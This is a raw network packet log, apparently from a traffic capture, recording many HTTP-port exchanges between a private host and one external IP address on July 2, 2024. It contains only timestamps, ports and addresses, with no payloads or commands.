Jul 2, 2024 12:21:04.049938917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.049969912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050143957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050160885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050185919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050192118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050196886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050208092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050219059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050224066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050251961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050425053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050436974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050448895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050460100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050468922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050470114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050479889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050487041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050501108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050513029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050518990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050523043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050533056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050543070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050544024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050558090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050563097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050579071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050607920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050817966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050829887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050839901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050851107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.050858021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.050884008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051058054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051069975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051080942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051090956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051096916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051103115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051112890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051124096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051126957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051134109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051146984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051153898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051157951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051168919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051177979 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051198006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051203966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051209927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051220894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051245928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051265001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051320076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051331043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051347971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051358938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051368952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051374912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051379919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051390886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051402092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051403999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051413059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051417112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051424026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051434994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051467896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051626921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051686049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051698923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051708937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051721096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051724911 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051750898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051764011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051934004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051949978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051960945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051969051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.051970959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051980972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051990986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.051990986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.052001953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052006006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.052012920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052023888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052032948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.052033901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052045107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052054882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052057981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.052066088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052073956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.052083969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.052095890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.052118063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137222052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137240887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137253046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137265921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137274981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137310028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137311935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137315035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137320995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137355089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137424946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137435913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137447119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137448072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137456894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137459993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137489080 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137511969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137613058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137624979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137635946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137649059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137650967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137660980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137670040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137670040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137705088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137746096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137758017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137768984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137777090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137809992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137830019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137841940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137870073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137895107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137955904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137965918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137976885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137989998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.137990952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.137999058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138008118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138041019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138118982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138129950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138140917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138150930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138159990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138160944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138171911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138180971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138183117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138194084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138199091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138230085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138624907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138636112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138647079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138657093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138668060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138669968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138685942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138698101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138700962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138709068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138720036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138721943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138730049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138745070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138748884 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138760090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138765097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138775110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138784885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138786077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138797998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138811111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138838053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138946056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138957024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138967037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138978004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138988972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.138993979 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.138998985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139004946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139008999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139019966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139024019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139039993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139075994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139153004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139164925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139175892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139204025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139230013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139250994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139261961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139272928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139290094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139297009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139334917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139400959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139411926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139422894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139432907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139442921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139444113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139456987 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139487028 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.139538050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139549971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.139581919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.187386036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.192146063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.363869905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.363890886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.363903999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.363909006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.363917112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364012003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364016056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364037037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364058018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364064932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364082098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364104033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364145994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364151955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364164114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364170074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364207983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364207983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364260912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364299059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364305019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364310980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364418030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364423037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364433050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364439011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364439964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364459991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364490032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364573002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364579916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364590883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364594936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364641905 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364641905 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364710093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364716053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364732027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364737988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364748001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364753962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364754915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364759922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364773035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.364773989 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364799023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364825964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.364999056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365005016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365015984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365020990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365032911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365036011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365195990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365201950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365214109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365219116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365220070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365235090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365255117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365426064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365436077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365442038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365452051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365457058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365462065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365468025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365470886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365473032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365478992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365492105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365494967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365566015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365724087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365735054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365741014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365746021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365756989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365760088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365761995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365767956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365772009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.365782022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.365907907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366079092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366085052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366095066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366101027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366108894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366122007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366127014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366132975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366137028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366142988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366147041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366152048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366158962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366163969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366174936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366180897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366190910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366194963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366220951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366257906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366642952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366648912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366660118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366664886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366671085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366681099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366686106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366687059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366692066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366698027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366703033 CEST	80	49699	85.28.47.4	192.168.2.7
